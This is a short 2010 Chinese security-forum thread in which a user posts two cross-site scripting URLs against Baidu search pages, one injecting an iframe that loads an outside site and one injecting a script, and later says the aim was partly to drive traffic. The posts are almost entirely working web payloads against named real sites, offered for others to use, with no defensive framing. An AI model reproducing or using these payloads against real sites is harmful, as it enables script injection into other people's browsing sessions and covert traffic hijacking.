【3.A.S.T】网络安全爱好者 » 初入江湖 » 我来给你们发个百度跨站的漏洞（2个）

clouder 发表于 2010-1-6 16:12

我来给你们发个百度跨站的漏洞（2个）

这个漏洞被我发现发现很早了[url]http://yule.baidu.com/search/?wd=%3Ciframe+src%3Dhttp%3A%2F%2Fwww.gsdx114.cn+%3C%2Fiframe%3E&ei=%253Ciframe%2520src%3Dhttp%3A%2F%2F[/url]<iframe%20src=http://www.3ast.com.cn%20%20width=900</iframe>
第二个
[url]http://v.baidu.com/search.php?word=%3C%2Fscript%3E%3Cscript%3Ealert%28%2F764405644%2520Clouder%2F%29%3C%2Fscript%3E&submit=%B0%D9%B6%C8%D2%BB%CF%C2&type=0[/url]



刚才看了小柔发的那个12月3好的那个，应该不算跨站的，执行不了任何代码，而且早在1个半月前俺就在群里发了，嘎嘎嘎，小柔落后了哦

clouder 发表于 2010-1-6 19:50

我擦，不厚道，分享出来就是顺便挂点流量，我挖掘漏洞容易嘛我，唉！

查看完整版本: 我来给你们发个百度跨站的漏洞（2个）